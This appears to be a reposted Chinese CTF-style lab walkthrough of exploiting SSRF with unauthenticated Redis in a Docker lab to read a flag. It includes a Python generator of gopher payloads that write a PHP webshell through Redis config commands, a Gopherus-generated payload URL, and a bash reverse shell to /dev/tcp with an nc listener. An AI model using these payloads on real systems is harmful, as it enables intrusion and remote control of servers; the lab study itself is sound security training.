当前位置: 首页 > news >正文

利用 SSRF 和 Redis 未授权访问进行内网渗透

目录

环境搭建

​编辑

发现内网存活主机

​编辑

 

扫描内网端口

​编辑

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

        方式二:使用 Gopher 工具

步骤 2:写入 Webshell(木马)

​编辑

步骤 3:访问 Webshell 获取 flag

​编辑

反弹 Shell 获取完整权限

步骤 1:修改 payload 生成反弹 Shell

步骤 2:监听端口

步骤 3:触发反弹 Shell


环境搭建

在本次实验中,我们使用 Docker 环境进行测试。

  1. 解压实验包,搭建 docker 环境。

docker环境

web的dockerfile

主要利用代码

redis服务器

  1. 通过 docker-compose up -d 启动相关容器,初次启动失败。

  1. 发现 docker 版本问题,删除 docker 版本 3,并尝试重新拉取 Ubuntu 16.04 版本:

    docker pull ubuntu:16.04
    
  1. 重新启动后,环境成功搭建,获取内网 IP。

发现内网存活主机

使用phpinfo来看内网IP地址

我们使用抓包工具检测内网存活主机,发现 172.18.0.2 存在 HTTP 服务,并返回 Go away

 

扫描内网端口

使用 burpsuite172.18.0.2 进行端口扫描,发现 6379 端口返回 Redis 报错信息,说明目标主机上运行着 Redis 服务,并且可能存在未授权访问漏洞。

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

我们利用 Redis 服务器的 config set dirconfig set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令:

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))

payload=protocol+ip+":"+port+"/_"

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)
        方式二:使用 Gopher 工具

 GitHub 下载地址:Gopherus

该工具使用 Python2,生成 gopher payload。记得安装

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下载并解压后运行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell #木马语言

Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马

Your gopher link is Ready to get PHP Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. 

-----------Made-by-SpyD3r-----------

步骤 2:写入 Webshell(木马)

接下来我们将生成后的payload进行二次编码

然后访问

Redis 执行后,会在 /var/www/html/upload 目录生成 shell.php,其中包含 webshell 代码。

骤 3:访问 Webshell 获取 flag

成功写入 web.php,使用 SSRF 访问它:

/?url=http://172.18.0.2/upload/web.php

Webshell 内容:

<?php system("cat /flag");?>

访问 web.php 后即可获取 flag

成功执行远程命令,获取 flag

反弹 Shell 获取完整权限

如果我们希望获取完整的交互式 Shell,可以利用 bash 反弹 Shell 技术。

步骤 1:修改 payload 生成反弹 Shell

我们修改 shell 代码,使其反弹 Shell:

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>

步骤 2:监听端口

在本机开启 nc 监听:

nc -lvnp 4444

步骤 3:触发反弹 Shell

访问:

/?url=http://172.17.0.2/upload/web.php

成功获得 bash 交互式 Shell,即可进一步提权、查找 flag

相关文章:

  • Java 中数组转集合的方法
  • 分布式环境下的主从数据同步
  • SpringBoot事务管理(四)
  • Faster-Whisper —— 为语音识别加速的利器
  • 283. 移动零
  • 【QT】Qt4 QtWebKit使用教程
  • 数据结构与算法-双指针法
  • Java 大视界 -- 基于 Java 的大数据可视化在城市规划决策支持中的交互设计与应用案例(164)
  • 30-超市进销存管理系统
  • RAG 高效检索利器 打造企业 “规章制度智能体”(ollama + deepseek + langchain + MinerU)
  • 力扣经典算法篇-5-多数元素(哈希统计,排序,摩尔投票法)
  • CES Asia 2025:行业话语权的逐鹿高地
  • 如何利用系统的数据分析能力提高利润额?
  • websocket获取客服端真实ip
  • Linux | I.MX6ULL 终结者底板原理图讲解(5)
  • 最新万能场馆预约系统源码 基于ThinkPHP+UniApp 含图文搭建部署教程
  • Python+新版DeepSeek V3轻松开发Agent
  • Unity跨平台输入系统
  • Doris Streamloader安装教程
  • LeetCode 78.子集
  • 渭南建设工程招标投标网站/企业推广策划书
  • 嘉兴建设局网站/哈尔滨seo整站优化
  • 青岛专业做商业房的网站/代运营公司排名
  • 太原网站建设维护/链接生成二维码
  • 小卖部做网站/优化公司结构
  • 宝鸡手机版网站建设/企业网站开发制作